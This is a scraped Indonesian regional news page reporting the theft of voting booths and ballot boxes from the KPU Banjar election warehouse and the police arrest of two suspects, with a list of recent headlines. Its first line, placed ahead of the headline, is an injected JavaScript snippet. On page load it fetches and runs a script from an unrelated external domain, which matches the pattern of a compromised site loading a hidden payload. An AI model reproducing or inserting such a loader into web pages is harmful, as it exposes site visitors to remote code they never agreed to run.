(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

3.088 Bilik dan 1.823 Kotak Suara KPU Banjar Dicuri


MARTAPURA, Unit Gabungan Polres Banjar dan Polres Banjarbaru, Polsek Martapura Kota berhasil meringkus dua pelaku pencurian kota suara dan bilik suara milik KPU Kabupaten Banjar, Jumat (6/7) sekitar pukul 19.00 wita

Kedua tersangka tersebut yaitu Fahrudi (26) warga Jalan Mentri 4 Gang Setia Abadi dan Muhammad Jaini (28) warga Jalan Mufakat Kecamatan Martapura, Kabupaten Banjar.

Pencurian terjadi beberapa jam sebelum ditangkapnya kedua tersangka, tepatnya sekitar pukul 14.49 Wita. Sebanyak 3.088 buah bilik suara dan 1823 buah kotak suara milik KPU Banjar ludes dicuri dua tersangka. Dua macam barang milik negara tersebut sebelumnya disimpan di ruko PPS Sekumpul No I dan II G sebagai gudang KPU Kabupaten Banjar.

Kapolres Banjar Takdir Mattanette SH SIK MH melalui Kapolsek Martapura Kota Iptu Siswadi SH mengungkapkan, hasil olah TKP diduga para pelaku masuk ke dalam Ruko dengan cara merusak gembok pintu Ruko.

“Diduga kuat para pelaku masuk dengan merusak gembok Ruko tempat disimpannya bilik suara dan kotak suara tersebut,” ungkapnya

Atas kejadian tersebut pihak KPU Banjar mengalami kerugian sebesar Rp 139.740.000,- dan melaporkan peristiwa tersebut ke Polsek Martapura Kota. Menanggapi laporan tersebut dengan cepat Unit Gabungan yang terdiri dari Unit Resmob Polres Banjar Unit Resmob Polres Banjarbaru dan Unit Reskrim Martapura Kota melakukan penyelidikan.

Unit Gabungan berhasil meringkus kedua tersangka, dalam penangkapan tersebut pihak Kepolisian berhasil mengamankan barang bukti berupa 1 buah truk warna putih sebagai sarana dan kurang lebih 4 ton bilik dan kotak suara.

“Untuk barang bukti yang berhasil diamankan satu unit truk yang digunakan saat melakukan aksi pencurian dan kurang lebih 4 ton bilik dan kotak suara,”  kata Iptu Siswadi

Dari informasi yang didapat Kanal Kalimantan, selain menagamankan kedua pelaku pencuri tersebut, pihak kepolisian juga telah mengamankan beberapa pelaku yang berperan sebagai penadah barang curian tersebut, diketahui ada 3 orang.

Saat ini ini pihak kepolisian masih mengejar 2 tersangka lainnya  (DPO) yang turut seta dalam aksi pencurian ini dan pencarian barang bukti. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

9 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

10 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

12 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

15 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

18 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

18 jam ago

This website uses cookies.